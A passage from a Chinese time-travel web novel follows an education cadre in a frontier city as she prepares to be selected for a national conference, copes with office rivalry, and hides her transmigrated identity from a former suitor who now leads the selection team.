舒染对此视若无睹。她依旧埋首于日常工作,梳理各团场报上来的扫盲进展数据, 同时收集着来自基层的反馈。 就在这纷扰之中,一封机要文件被直接送到了韩局长办公室。 文件的内容很快在极小范围内传开:国家教委拟于近期召开一次全国性的教育工作座谈会,旨在总结交流各地经验,研究确定下一步教育发展的战略方向。会议特别指出, 需要选取具有代表性的地区和个人进行典型发言。其中, 边疆特色和兵团经验被明确列为重点考察方向。文件后面附有一份初步的候选人遴选条件, 强调:实践经验丰富、具有扎实基层工作基础、能真实反映边疆教育面貌、并有一定理论思考和政策把握能力的同志。 日子进入腊月, V城的冬天又干又冷。舒染裹紧了棉袄, 从教育局走回宿舍。 办公室里, 关于全国教育工作座谈会的风声越来越紧。每个人都在揣测那个“边疆特色”发言人会花落谁家。 舒染的名字被频频提起,伴随的目光复杂难辨。 她走进楼道里, 一股暖意混着食物的香气扑面而来。 “回来啦?灶上给你放了壶热水。”张雅琴从里间探出头,手里还拿着钩针和毛线。 “谢谢雅琴姐。”舒染放下包, 搓了搓冻僵的手。 刘惠的房间开着门,她正坐在桌边削萝卜, 看到舒染叫住她:“今天李卫国又去周书记办公室了, 待了半个钟头。” 舒染进房间倒了杯热水,捂在手里走出楼道:“他分管宣传,去汇报工作正常。” “汇报工作?”刘惠嗤笑一声, “我看是汇报你。你那个手册,风头太盛,眼红的人可不少。听说东部几个省来的批评材料,就是他帮忙递上去的。” 舒染没接话,走到灶边看。锅里咕嘟着萝卜汤,几块骨头在汤里沉浮。 张雅琴放下毛线走过来,压低声音:“小舒,有句话不知当讲不当讲。” “雅琴姐你说。” “我听说,遴选发言人的事,不光看业务能力,还得……根正苗红,历史清楚。”张雅琴意有所指。 舒染很快就明白过来,张雅琴在资料室,对她的档案背景应该早已摸清楚。 舒染看着锅里升腾的热气,语气平静:“我知道。” “知道就好。”刘惠把削好的萝卜扔进盆里,“有些人啊,正事干不了,就会背后捅刀子。你可得把门关严实了。” 正说着,楼道一端传来寻人声。 “舒染同志在吗?有她的信!” 舒染快步过去。是传达室的老王。 “北京来的,挂号信。”老王递过一个厚厚的信封。 刘惠凑过来:“哟,北京来的信?” 舒染没否认,拿着信准备回屋看。信封上是陈远疆那手熟悉的字。她没急着拆,手指在信封边缘摩挲了几下。 张雅琴和刘惠交换了个眼色,一个拿起毛线,一个端起菜盆,默契地回了屋子。 舒染走进房间,这才小心地拆开信。里面除了信纸,还有一本装订简单的册子,封面是手写的《边疆地区综合发展与稳定初探(内部讨论稿)》。 她先展开信纸。 “染: 见字如面。 京中诸事繁杂,未能时常写信,望你体谅。 你的一切我已知悉。手册出版引发热议,此属必然。誉满天下,谤亦随之。然我深知你之心志,定不会为浮名所累,亦不会为流言所动。你脚下路是于万千荆棘中亲手开辟,其价值非坐而论道者可以妄加评议。 近日,我参与老首长研讨一宏大构想,关乎边疆长远之基业,其视野之开阔,谋划之深远,非昔日单纯戍边可比。其中,教育固边、文化融边居于核心位置。每每论及此,我眼前便浮现你于戈壁之中,于毡房之间,执拗播种知识星火之身影。你所为之奋斗事业,其意义远超你我想象,已与家国大计紧密相连。 闻你或将赴京参会,此乃殊荣,亦是重任。届时,若时机允许,盼能一见。有许多话,想亲口对你说。 随信附上一份内部讨论稿,仅供你参考阅览,阅后妥善保管,不必外传。其中部分设想与你平日所思或有印证之处。 保重身体,勿使我挂念。 远疆手书” 舒染拿起那本册子翻开。里面是用钢笔工整抄写的内容,涉及边疆文化教育多个层面。在文教固边部分,她看到了着重划线的观点。这些观点与她手册的核心思想,与她在交流会上的发言,甚至与她作为穿越者基于后世经验形成的认知不谋而合。 她注意到,稿子里多次提到“试点”、“摸索经验”、“基层首创精神”。 她好像摸到了一点脉络。陈远疆让她看这个,绝不仅仅是参考。他是在告诉她风向,也是在提醒她——她的工作,她的手册,她这个人,可能已经进入了一个更宏大布局的视野。 她一直坚信自己工作的意义,但从未这般感受到她的努力竟然能与国家层面的边疆大计产生共鸣。 他理解她,甚至比她自己更能洞察她事业的意义。 舒染把信和册子仔细收进樟木箱底层,扣上锁。然后拿起热水瓶给自己倒了盆热水。 脚盆里的热气氤氲着她的脸。她拿起肥皂开始洗手。水温恰到好处,她纷乱的思绪渐渐沉淀。 第二天,舒染照常上班。她没向任何人提起那本内部讨论稿。 李卫国见到她,脸上堆起惯常的笑:“舒染同志来了?正好,周书记让你去他办公室一趟。” 舒染点头:“好,我放下东西就去。” 周书记的办公室比外面暖和不少。他坐在办公桌后,手里拿着一份材料。 “小舒,坐。”周书记指了指对面的椅子,“全国教育工作座谈会的事,你听说了吧?” “听同事们议论过一些。”舒染坐下,姿态端正。 “嗯。”周书记把材料推过来,“这是初步的遴选标准和要求。我们局里,包括上面,对你的能力都是认可的。你的手册影响很大,是加分项。” 舒染接过材料,没有立刻翻看:“谢谢组织肯定,我只是做了该做的工作。” “不过,”周书记话锋一转,语气沉了些,“你也知道,这种全国性的会议,代表的选拔非常慎重。除了业务能力,政治可靠性、个人历史,都需要经受最严格的审查。” 他目光落在舒染身上,“你的家庭情况,档案里写得清楚。平时在基层,问题不大。但到了这个层面,难免会有人拿出来做文章。你要有心理准备。” 舒染抬起头,眼神平静:“周书记,我明白。我的出身无法改变,但我可以用实际行动证明我对国家、对边疆教育事业的忠诚。我的工作,我的手册,还有那么多基层同志和学生的反馈,就是我的答卷。” 周书记看着她,半晌,点了点头:“有这个觉悟就好。材料你拿回去仔细看看,按要求准备。这段时间,工作上更要谨慎,不要授人以柄。” “是,我明白。” 回到办公室,李卫国状似无意地问:“周书记找你,是为了座谈会的事?” “嗯,书记鼓励我认真准备。”舒染轻描淡写,坐下开始处理文件。 王娟凑过来,小声说:“舒染,我听说……好像有人往上面递了东西,关于你以前在基层的一些事。” 舒染手上翻页的动作没停:“我在基层做的事,每一件都经得起查证。” “可是……”王娟有些着急。 舒染转头看她,笑了笑:“没事,清者自清。我们把手头的数据核对完,下午还要去下面一个扫盲点上看看。” 她表现得太过平静,反倒让王娟有些摸不着头脑。 几天后,舒染主动去找了韩局长。 “局长,关于遴选发言人的事,我有一个想法。”舒染把自己的提纲放在桌上,“我想结合《手册》里的案例,重点汇报我们如何在边疆特殊环境下,通过生存教育和文化融合去巩固扫盲成果,增强群众的国家认同感。这不仅是教育问题,更是边疆长治久安的前提。” 韩局长仔细看着提纲,眼神越来越亮:“嗯,这个角度好,立足实践,又契合大局。小舒,你就按照这个思路准备,需要什么支持直接跟我说。” 从局长办公室出来,舒染在走廊遇到了李卫国。 “舒染同志,和局长谈完了?”李卫国笑着问。 “谈完了,汇报了一下准备思路。”舒染语气如常。 “哦?不知道是什么思路?我也学习学习。” 舒染停下脚步,看着他,忽然笑了笑:“李组长不是一直关心《手册》的理论高度吗?这次正好,我打算从教育固边的角度,好好阐述一下。说不定,还能回应一下之前那些批评的声音。” 李卫国的笑容僵了一下。 舒染没再说什么,点点头,转身走了。 * 年关将近,教育局里的气氛却愈发微妙。关于发言人遴选的消息越来越具体,舒染的名字被提及的频率也越来越高。 这天下午,舒染正在整理基层反馈的扫盲成效数据,电话响了。 王娟接起来,听了两句,捂住话筒,压低声音对舒染说:“舒姐,找你的,是X师保卫处的。” 舒染的心漏跳了一拍。她赶紧走过去接过话筒:“喂,我是舒染。” 电话那头不是陈远疆,是一个略显陌生的男声:“舒染同志你好,我是师保卫处干事小刘。陈副处长托我给您带个话。” “请讲。” “陈副处长说,他一切顺利,请您放心。另外,他提醒您,最近天气变化大,注意保暖,也要……注意门户安全。”小刘的声音压得更低了些,“尤其是您之前放在老地方的一些私人物品,最好清点一下,看看有没有遗失。” 舒染握着话筒的手指微微收紧:“谢谢,我知道了。麻烦你了,刘干事。” “不客气,应该的。” 挂了电话,舒染站在原地,消化着这几句话。陈远疆一切顺利,这是报平安。“天气变化大,注意保暖”是常规关心。关键是后面——“注意门户安全”,“私人物品”,“老地方”,“有没有遗失”。 她的心沉了下去。陈远疆在用这种隐晦的方式警告她,有些事可能已经触及到她在兵团时的一些过往。那个“老地方”,可能指畜牧连,也可能指她在师部的宿舍。而“私人物品”……范围太广了,可能是她写的任何只言片语,也可能是别人给她的任何东西。 她走回座位,坐下继续核对数据,神色平静。 下班回到宿舍,张雅琴和刘惠在楼道里不知说着什么。 “小舒,脸色不太好?是不是太累了?”张雅琴关切地问。 “没事,雅琴姐,可能就是有点冻着了。”舒染倒了杯热水。 刘惠倚在门边一边纳鞋底,一边说:“我听说,遴选小组的人下周就到咱们省了。第一个站,就是咱们V城。” 舒染喝水的动作顿了顿:“这么快?” “可不是嘛。”刘惠抬起头,“所以啊,我今天可看见李卫国又往上面跑了好几趟。” 张雅琴叹了口气:“这时候,就怕有人使绊子。” 舒染点了点头,没说话,走回自己房间。 她在基层,有什么是可能被拿来做文章的? 她资本家家庭出身的档案是明牌。她在连队和周巧珍的冲突?那是个人矛盾,而且她占理。 她和陈远疆的关系?现在已是公开的恋爱,组织也知晓。她创办学校的标新立异?结果是成功的,得到了上级肯定。 她私下的一些言论?她一直很谨慎。 或者是那本手册里过于超前的观点被断章取义? 她仔细回想自己行为处事的每一个细节,评估着风险。最后,她的目光落在箱底那本内部讨论稿上。 她必须做最坏的打算。 她当机立断从箱底拿出那本册子,还有陈远疆写来的所有信件。她走到炉子边,划燃火柴。 纸张在火焰中蜷曲变黑,最终化为灰烬。烧完,她用炉钩把灰烬搅散,混入煤渣里。 遴选小组到达V城的前一天,教育局召开了最后一次准备会议。 会议室里。周书记、韩局长坐主位,下面各科室负责人,以及舒染、李卫国等核心人员都在。 周书记面色严肃:“这次遴选,不仅关系到舒染同志个人,更关系到我们整个教育系统的形象和成绩!所有人都要打起十二分精神,确保万无一失!” 韩局长补充:“接待、汇报、材料,每一个环节都不能出错。尤其是舒染同志的发言稿,一定要突出我们的特色和成效,又要符合上面的精神。” 李卫国立刻接话:“书记局长放心!我们全组一定全力配合,把准备工作做扎实。舒染同志的发言稿,我也帮忙看了几遍,提了些修改建议,确保政治方向绝对正确。” 舒染抬起眼,看向李卫国,语气平和:“谢谢李组长的关心。发言稿是我根据基层实际情况和韩局长的指导思路准备的,核心观点和数据都经过反复核实。如果李组长觉得哪里政治方向不够正确,可以具体指出来,我们现场讨论。” 她点明稿子的主导权在她和韩局长这里。 李卫国笑道:“舒染同志别误会,我就是提些参考意见。大方向肯定是没问题的。” 韩局长看了两人一眼,打圆场:“好了,都是为了工作。舒染,你的稿子我是放心的。明天你就按照准备的讲,实事求是,把我们边疆教育的特点讲清楚,讲透彻!” “是,局长。”舒染点头。 散会后,舒染被周书记单独留了一下。 “小舒,坐。”周书记揉了揉眉心,显得有些疲惫,“明天很关键。我知道你压力大,但要确保万无一失,不能有任何差池。” “我明白,书记。” “另外,”周书记压低了声音,“上面来了人,除了明面上的遴选小组,可能还有……别的渠道的人会旁听,或者了解情况。你心里有数就行,正常发挥。” 舒染心头一凛。陈远疆的警告,周书记的暗示,都对上了。 “谢谢书记提醒,我知道该怎么做。” 从会议室出来,在走廊拐角,李卫国等在那里。 “舒染同志,”他脸上没什么笑容,“明天可是大场面,代表着我们全局的脸面。发言的时候,哪些该说,哪些不该说,可得掌握好分寸。别为了突出个人,说了不合时宜的话。” 舒染停下脚步,看着他,“李组长,你觉得什么是不合时宜的话?是实事求是地反映基层困难不合时宜,还是分享我们摸索出的有效的办法不合时宜?” 李卫国皱眉:“我不是这个意思……” “李组长,”舒染打断他,“我在边疆待了这些年,最大的体会就是,这里的一切都不能靠空谈,必须脚踏实地。我明天要讲的,就是这片土地上无数教育工作者和群众干出来的经验。如果这都不合时宜,那什么才合时宜?” 李卫国叹了口气,“我知道你有分寸,那我就不提醒你了。” 舒染点点头,“多谢组长关心。” 回到办公室,王娟一脸担忧地凑过来:“舒姐,我刚听说,李组长好像……” 舒染拍了拍她的肩膀:“没事。我们把我们该做的做好就行。” 她坐下来,拿出发言稿。稿子的内容早已烂熟于心。她只是需要静一静。 明天,她不仅要面对遴选小组的考核,可能还要面对一场硬仗。 但她不怕。她的根基在基层,那些是任何人都无法抹杀的成绩。 第149章 教育局办公楼里, 煤炭炉子和火墙散发出勉强驱散寒意的温度。 舒染坐在办公桌前,手指冻得有些发僵,在一份各团场报上来的扫盲数据汇总表上做着标记。王娟在一旁整理文件, 时不时呵一口气暖手。 “舒姐,遴选小组快到了吧?”王娟压低声音问, 眼神里带着点紧张。 “嗯。”舒染头也没抬,应了一声。她的注意力在数据上,一个团场的脱盲率近期增长曲线有些异常, 她打了个问号,准备后续电话核实。 李卫国从外面进来,带进一股冷风。他搓着手,脸上是惯常的笑容, 目光却扫过舒染的办公桌。 “舒染同志, 准备得怎么样了?周书记和韩局长可是再三叮嘱, 这次遴选至关重要。” 舒染放下笔, 抬眼看他, “数据核实, 案例整理,发言提纲都准备好了。李组长还有别的指示?” “指示谈不上。”李卫国走到自己桌前, 拿起茶杯呷了一口已经半温的茶水,“就是提醒一下, 发言的时候,把握好尺度。毕竟是要去首都, 面对的都是领导和专家, 咱们边疆的一些土办法,说得太多,怕人家觉得不够规范, 上不了台面。” 舒染还没说话,旁边的王娟忍不住小声嘟囔:“可舒姐的土办法就是管用啊……” 李卫国脸上的笑容淡了点:“管用是一回事,符不符合上面的精神又是另一回事。舒染同志,你说是不是?” 舒染没接他这个话茬,转而问道:“李组长,D团报上来的这份数据,你之前审核过吗?他们最近这个月的脱盲人数增幅有点不太符合常理。” 李卫国一愣,显然没料到舒染突然问这个,凑过来看了一眼:“哦,这个啊,三团那边最近搞了个突击扫盲班,效果不错。下面同志有积极性,我们上面要鼓励嘛。” “突击扫盲?”舒染拿起那份报表,“一个月内让两百多个原本不识字的职工家属全部脱盲?这个效率,我需要打个电话跟他们核实一下具体方法和考核标准。数据如果不实,报到遴选小组那里,反而是麻烦。” 李卫国的脸色有些不好看了:“舒染同志,你这是不相信下面的同志?还是觉得我审核不严?” “我相信事实。”舒染拿起电话,开始拨号,“正因为重视这次遴选,才不能让任何有疑问的数据蒙混过关。喂,总机吗?请帮我接D团教育科……” 李卫国看着舒染开始打电话核实,站在原地,脸色变了几变,最终没再说什么,坐回了自己的椅子。 王娟偷偷对舒染投去一个佩服的眼神。 电话接通,舒染和D团教育科的人聊了大概十分钟。挂掉电话后,她在那份报表上做了个显著的标记,对李卫国说:“李组长,问清楚了。他们团是把之前已经具备一定基础,只是没参加最终考核的一批人,集中起来考核通过了。实际新增脱盲人数是四十七人,不是两百三十人。数据我已经让他们重新报备。” 李卫国“嗯”了一声,没抬头。 下班后,舒染把整理好的材料锁进抽屉,穿上棉袄,围上陈远疆送的那条羊毛围巾,走出了办公室。 外面的天已经黑透,寒风凛冽。她把手揣在口袋里,慢慢走回宿舍。 楼道里,张雅琴正在炒白菜,锅里滋啦作响。刘惠坐在小凳上剥蒜,看到舒染,扬了扬下巴:“回来了?听说你今天又把李卫国给顶了?” 舒染脱下棉袄,挂在门后的钉子上:“核实数据而已,谈不上顶。” “就该这样!”刘惠把蒜瓣扔进碗里,“他那点心思,谁看不出来?就怕你出了风头,压过他那个组长。要我说,你这次要是真选上了,去了首都,那才叫给他好看。” 张雅琴一边翻炒着锅里的菜,一边慢悠悠地说:“去首都固然好,但那边水更深。小舒,凡事多留个心眼总没错。” “我知道,雅琴姐。”舒染拿起暖水瓶,给自己倒了杯热水,靠在门框上慢慢喝着。 她知道张雅琴和刘惠是真心为她好。在这个城市,这间宿舍楼道,反而成了她最能放松的地方。 “哦,对了,”刘惠像是想起什么,“我听说这次从首都来的遴选小组组长,姓廖,挺年轻的,好像是什么部委里的,厉害着呢。” 舒染皱起眉头。廖? 她不动声色地咽下口水,语气平淡:“是吗?能负责这种遴选,肯定是能力出众的。” 心里却快速盘算起来。如果真是那个廖承,他知不知道现在的舒染已经换了她这个来自二十一世纪的芯子?他对原主还有多少印象?这对她的遴选是利是弊? 利,可能在于旧识之情,或许能多一分关照。弊,则在于他可能比陌生人更容易察觉到她与原主的不同。虽然时代和经历足以改变一个人,但一些习惯和认知,难保不会露出马脚。得更加谨慎才行。 腊月的最后几天,舒染身穿棉袄,又裹着军大衣坐在桌前,誊抄着稿件。 王娟提着热水壶进来,往她搪瓷缸里续水。 “舒姐,别抄了,这都第三遍了。遴选小组的人明天才到呢。” “最后几个数据再核对一下。”舒染摘下眼镜擦了擦,“下面刚补过来的材料,得更新进去。” 李卫国从门外进来。他搓着手走到自己桌前,瞥了眼舒染桌上厚厚一摞材料,嘴角动了动:“舒染同志准备得可真充分。” “应该的。”舒染头也没抬。 “听说这次首都来的工作组规格很高,”李卫国自顾自说着,在椅子上坐下,“带队的廖组长,是部里重点培养的年轻干部,留学回来的,眼光高得很。” 舒染手中的钢笔顿了一下。 廖承。 原主留下的记忆里,廖承好像给原主写过几封信,字迹清俊,措辞含蓄。 她当时是怎么回应的来着?哦,装傻。再把信原封不动地退回去,见面时照样笑着打招呼,好像什么都没发生过。 舒染继续写字,“那更要认真准备了。” 下午三点,周书记把舒染叫到办公室。 屋里比外面暖和不少。周书记让她坐,从抽屉里拿出一份文件。“小舒,这是刚收到的遴选小组名单和行程安排。你先看看。” 舒染接过来。名单上第一个名字:廖承,工作组组长。后面跟着职务、年龄。 照片是标准的一寸照,穿中山装,戴眼镜,面容清俊。 是她记忆里的那个人,但又不太一样了。少了些学生气的青涩,多了些沉稳和距离感。 “这位廖组长,”周书记点了点照片,“听说对工作要求极其严格,而且对边疆情况很关注。你明天汇报,一定要突出我们的特色,但也不能太标新立异。这个度,你得把握好。” “对了,”周书记状似无意地问,“你以前在上海,听说过这个人吗?” 舒染脸上却露出思索的表情:“名字有点耳熟……可能是以前参加青年活动时见过?记不太清了,都好多年了。” “哦。”周书记没深究,“不管认不认识,明天就是正常工作汇报。你该怎么说就怎么说,不用有压力。” “明白。” 从书记办公室出来,舒染在走廊站了一会儿。 她需要回想更多的细节。原主和廖承到底有过多少交集?除了那几封被退回的信,还有哪些?联谊会上聊过什么?共同认识哪些人? 记忆像蒙着雾,只能看到模糊的影子。原主当年确实没把廖承的追求当回事——家境优越、容貌出众的少女,身边从不缺献殷勤的人。廖承太温和,太含蓄,不够热烈,不够浪漫。 所以那些记忆很淡,淡到舒染穿过来这几年,几乎没想起来过这个人,除了上海老家写来的那封信。 可现在,她得在廖承面前扮演好原主的角色,曾经拒绝过他的娇气又有点骄傲的姑娘,如今在边疆磨砺了几年的女教师。 不能太生疏,会显得刻意;不能太熟稔,她根本不了解现在的廖承;更不能露出破绽,让人怀疑她不是原来的舒染。 舒染揉了揉眉心,把那些不属于自己的记忆压回去。现在重要的是明天的工作汇报。廖承是谁不重要,重要的是他是遴选小组的组长,决定着她能不能站上全国会议的讲台。 她得好好想想,怎么在一个留学归来、眼光高的部里干部面前表现良好又能不露马脚。 下班前,王娟神神秘秘地凑过来:“舒姐,我打听到了。” “什么?” “那个廖组长的事。”王娟压低声音,“听说他这次主动要求带队来边疆遴选,部里本来安排他去沿海调研的。” 舒染整理文件的手没停:“哦?” “还有啊,”王娟声音更小了,“听说他未婚。” 舒染抬起头,揶揄地问:“你打听这个干什么?” “我这不是……”王娟脸一红,“替舒姐你多了解了解情况嘛。” “行了,”舒染拍拍她肩膀,“好好准备材料。明天工作组来了,可别出岔子。” “知道啦。” 晚上回到宿舍,张雅琴煮了一锅白菜豆腐汤,叫舒染和刘惠一起吃。 三个人围着炉子,碗里的汤冒着热气。 刘惠扒拉了两口饭,忽然说:“小舒,我听说那个廖组长,跟你还是同乡?” 舒染夹了块豆腐:“算是吧,都是上海人。” “那可巧了。”刘惠眼睛亮了亮,“同乡好说话。明天汇报的时候,你提一句,拉近拉近距离。” 舒染摇头:“不合适。这是正式工作汇报,扯私人关系反而不好。” 张雅琴点头:“小舒说得对。这时候越要公事公办,越显得你底气足。” “也是。”刘惠叹了口气,“我就是替你着急。这次机会太难得了,要是选上了,去首都开会,那以后……” “以后的事以后再说。”舒染喝完最后一口汤,把碗放下,“我现在就想把明天的汇报做好。” 第二天早上八点,舒染就到了办公室。 她把材料最后检查一遍,发言稿又默读了一次。八点半,周书记和韩局长带着局里几个领导下楼去迎接工作组。 舒染留在办公室等着。 王娟坐立不安,一会儿看看窗外,一会儿整理自己的衣领。“舒姐,你紧张吗?” “有点。”舒染实话实说。 “我可紧张死了。”王娟搓着手,“听说这位廖组长特别严肃,上次去别的省,把一个汇报的领导问得哑口无言。” “我们准备充分,不怕问。”舒染说着,倒了杯热水慢慢喝。 九点过十分,走廊里传来脚步声和说话声。 王娟立刻站起来。舒染也放下杯子,理了理衣服下摆。 门被推开,周书记先进来,脸上带着笑:“廖组长,这就是我们教育指导小组的办公室,条件简陋了些。” 一个身影跟着进来。 廖承今天穿的是深灰色中山装,呢子面料,笔挺干净。他比照片上看起来高一些,肩背挺直,戴着一副金丝边眼镜。进门后,他的目光在办公室里扫了一圈,最后落在舒染身上。 “这位就是舒染同志。”周书记介绍道。 舒染走上前两步,伸出手:“廖组长,您好。” 廖承握住她的手。他的手很凉,但握得很稳。“舒染同志,你好。”他的普通话很标准,“好久不见。” 这话说得自然,却让舒染心里一紧。她维持着笑容:“是啊,好多年了。没想到会在这里见到您。” “我也没想到。”廖承松开手,镜片后的眼睛看着她,“你变化很大。” “边疆的风沙磨人。”舒染半开玩笑地说,侧身让开,“您请坐。” 工作组一共来了五个人,除了廖承,还有两个干部,一个陪同人员,一个记录员。办公室一下子显得拥挤起来。 廖承在舒染对面的椅子坐下,接过王娟递来的茶缸,道了声谢。他没有立刻谈工作,而是问:“这些年,过得怎么样?” 很平常的寒暄,但舒染听出了试探的意味。 “挺好的。”她选择最稳妥的回答,“在基层学到了很多东西。” “我听说了。”廖承点点头,“你的事迹传得很远。” 舒染笑了笑,没接话。她不知道原主在这种场合会怎么回应——是矜持地谦虚,还是大方地接受夸奖? 好在周书记适时插话:“廖组长,要不我们先听舒染同志汇报?” “好。”廖承从公文包里拿出笔记本和钢笔,“舒染同志,请。” 舒染翻开材料,开始汇报。 她讲了四十分钟。廖承听得很认真,不时记录。他提问的问题都很精准,但舒染注意到,他的目光时不时会在她脸上停留,像是在比对什么。 汇报到一半时,廖承忽然问:“舒染同志,你在手册里提到因地制宜的教学方法,这个思路是怎么形成的?” 舒染心里快速盘算。这是工作问题,但可能也是个人观察。她回答:“一开始也没想那么多,就是在实际工作中发现,照搬内地的教材和方法行不通。孩子们要帮家里干活,家长觉得认字没用,我们就得想办法让他们看到用处。” “所以从认工分、认票证开始?” “对。先解决眼前的困难,他们才愿意继续学。” 廖承点了点头,笔尖在笔记本上顿了顿,又写了几行字。他抬起头时,忽然说:“我记得你以前不喜欢算术,说数字太枯燥。” 舒染后背瞬间绷紧。 她该怎么回应?承认?否认?还是模糊处理? 她选择微笑:“人是会变的。在边疆,算术能帮孩子算清家里的工分,能帮妇女看懂供销社的账目,它就不再枯燥了。” 廖承看着她,眼神深了些:“是啊,人是会变的。” 这句话说得轻,舒染却听出了弦外之音。 她必须更小心。 汇报结束时,已经快十一点了。 廖承合上笔记本:“你做的工作很扎实。比我想象的还要扎实。” “谢谢。”舒染说。 “不过,”廖承摘下眼镜擦了擦,“我有个问题想私下请教。” 周书记和韩局长对视一眼,识趣地站起身:“那廖组长你们先聊,我们去安排下午的行程。” 其他人也跟着出去了。办公室里只剩下舒染和廖承。 门被轻轻带上。 廖承重新戴上眼镜,身体往后靠了靠,姿态放松了些。“舒染,不用紧张。现在是私人谈话。” 舒染心里警铃大作。越是私人谈话越危险。 “廖组长请讲。” 廖承从公文包里拿出一份材料,推过来:“这是你这些年发表的文章、报告,还有那本手册。我都看了。” 舒染接过来,翻了几页。上面有铅笔做的批注,字迹清俊,和记忆里那些信上的字一样。 “写得很好。”廖承说,“特别是关于民族融合教育的部分,很有见地。” “谢谢。” “但我好奇的是,”廖承看着她,“这些思考,这些洞察,不像是一蹴而就的。你在上海的时候……”他顿了顿,“好像对这些并不感兴趣。” 舒染放下材料,抬起眼直视他:“廖组长,人经历不同,想法自然会变。而且这些事看得多了,想得多了,自然就有了这些思考。” 她说得诚恳,也是实话。只是省略了最关键的部分——这些思考里,掺杂了另一个时空的经验和眼光。 廖承沉默了几秒,然后笑了笑:“说得对。是我狭隘了。” 他站起身,走到窗边,看着外面灰蒙蒙的天。“你知道吗,当年听说你报名支边,我很意外。” 舒染没接话。 “我以为你吃不了苦。”廖承转过身,“现在看来,我错了。” “人都是被逼出来的。”舒染也站起来,“到了这里,不干也得干。” “不仅仅是干,”廖承走回桌前,手指在那摞材料上点了点,“你干出了名堂。你的手册,你的经验,已经引起了首都的重视。这次全国教育工作座谈会,边疆地区需要一个发言人,你是我推荐的候选人之一。” 舒染愣住了。 “很意外?”廖承笑了笑,“我看过你的材料后,就觉得你合适。有基层经验,有理论总结,还有……”他着重强调道,“魄力。” “谢谢廖组长信任。” “不过,”廖承话锋一转,“这个位置很多人盯着。你要有心理准备。” 舒染点头:“我明白。” “另外,”廖承看着她,语气温和了些,“如果你有什么需要我帮忙的,可以直说。毕竟……我们是旧识。” 这话说得含蓄,但舒染听懂了。他在释放善意,也在重新划定他们之间的关系——从曾经的追求者和被追求者,变成如今的上下级兼旧识。 她该怎么回应?接受这份善意,就意味着要维持这种私人联系,风险更大。拒绝,又可能得罪一个关键人物。 “谢谢廖组长。”她选择最官方的回答,“我会努力做好工作,不辜负组织的信任。” 廖承点点头,没再说什么。 敲门声响起,王娟探头进来:“廖组长,周书记说午饭准备好了。” “好。”廖承拿起公文包,“走吧,舒染同志。” 第150章 午饭在教育局食堂的小包间里。 席间聊的都是工作。廖承问了很多关于边疆教育现状的问题, 舒染一一作答。她能感觉到,廖承在观察她。 她从原主残留的记忆碎片里拼凑出来的细节中,尽量保持原主可能有的某些特质。 饭后, 工作组要去参观基层教学点。舒染陪同。 第一站是市郊的职工子弟学校。廖承看得很仔细,和老师学生聊了很久。舒染跟在他身边, 偶尔补充几句。 参观到图书室时,廖承忽然问一个正在看书的女学生:“你喜欢看什么书?” 女学生有点害羞:“喜欢看故事书。” “什么故事书?” “《边疆小英雄》。”女学生说,“舒老师推荐给我们的。” 廖承看向舒染:“你推荐的?” “嗯。”舒染走过去, 从书架上抽出那本书,“这本书记录了兵团建设初期的一些真实故事,孩子们看了,能了解父辈是怎么在这片土地上扎根的。” 廖承接过书翻了翻:“你倒是会选书。” “总要选他们能看懂, 又对他们有用的。” 从学校出来, 廖承对舒染说:“你变了很多, 但有些东西没变。” 舒染心里一紧:“什么?” “还是那么会为人着想。”廖承笑了笑, “以前在联谊会, 你也是那个会照顾所有人的姑娘。” 这话让舒染稍微放松了些。至少这说明, 她的扮演没有太离谱。 下午又看了两个教学点,回到市里已经天黑了。 晚饭还是在招待所食堂。廖承让其他人先吃, 把舒染叫到一边。 “明天上午我们开内部讨论会,”他说, “你需要参加。另外……”他从公文包里拿出一个牛皮纸文件夹,“这是我收集的一些国外基础教育资料, 翻译好的, 也许对你有用。” 舒染接过文件夹:“谢谢廖组长。” “不用客气。”廖承看着她,忽然说,“舒染, 你现在……还是一个人吗?” 这个问题太私人了。舒染迅速判断该怎么回答——说实话?她和陈远疆的关系在兵团已经不是秘密,廖承如果想查,肯定能查到。说谎?风险更大。 “我在边疆成了家。”她选择含糊的说法。 “成家?”廖承愣了一下,“你结婚了?” “算是吧。”舒染没具体说,只是笑了笑,“边疆生活,总要有个依靠。” 廖承沉默了几秒,然后点点头:“那挺好的,有人照顾你。” 这话说得自然,但舒染听出了一丝遗憾。 “廖组长呢?”她反问,把话题抛回去。 “我?”廖承推了推眼镜,“工作太忙,顾不上。” 很官方的回答。舒染也不追问:“那您多保重身体。” “你也是。”廖承说,“边疆辛苦,别太拼了。” 晚饭后,舒染回到自己房间长长舒了口气。 今天这关算是过了。廖承的试探她都接住了,扮演也没有明显破绽。但接下来几天还要朝夕相处,她不能放松警惕。 她走到桌边,打开廖承给的那个文件夹。里面是厚厚一摞翻译资料,关于国外一些基础教育模式。 她翻了几页,忽然在一页的空白处看到一行小字:“这些资料,希望对你有所帮助。当年你说想当老师,现在你真的成了老师,而且是很优秀的老师。” 舒染合上文件夹。 原主和廖承的过去,比她想象的更复杂。那些被退回的信,那些联谊会上的交谈,似乎并没有因为她的拒绝而彻底结束。 而现在,这段过去成了她必须小心处理的雷区。她不能太靠近,也不能太疏远;不能太像当年的舒染,也不能太不像。 她走到窗边,看着外面漆黑的夜空。 陈远疆现在在哪里?如果他在,她或许能更从容些。但转念一想,如果他在,面对廖承这个旧识,局面可能更复杂。 她揉了揉太阳穴,决定先不想这些。明天还有讨论会,她得好好准备。 洗漱完躺下时,已经是深夜。舒染闭上眼睛,脑海里浮现出廖承今天看她时那探究的眼神,又带着某种说不清的温和。 那眼神让她不安,象是在寻找什么。在寻找当年那个上海小姐的影子,在比对过去和现在的差异。 她必须让他相信,这些差异都是边疆这几年磨砺的结果,而不是因为壳子里换了人。 舒染翻了个身,强迫自己不再去想。她闭上眼睛,终于睡着了。 她做了个梦。梦里,她回到畜牧连的教室,孩子们在朗读课文。阳光透过窗户照进来。陈远疆站在门口对她笑了笑。 …… 接下来三天,工作组在V城周边跑了七个教学点。舒染全程陪同,每天天不亮出发,天黑才回招待所。 廖承的细致超出了所有人的预料。他不仅看教室、看教材、看作业,还会随机找学生问话,去学生家里看看,跟家长聊孩子上学前后的变化。在牧区一个教学点,他甚至跟着舒染学会了用石灰块在黑板上写字,歪歪扭扭写了几个字,把孩子们逗笑了。 “廖组长真没架子。”王娟私下对舒染说。 舒染只是点头,廖承越表现出对基层工作的理解和尊重,她越要小心——这意味着他的观察更深入,判断更精准。 第三天下午,在回程的车上,廖承忽然问:“舒染同志,你这些教学点,最远的离连队有多远?” “最近的十几公里,最远的近百公里。”舒染回答,“牧区转场的时候,还要跟着移动。” “老师怎么去?” 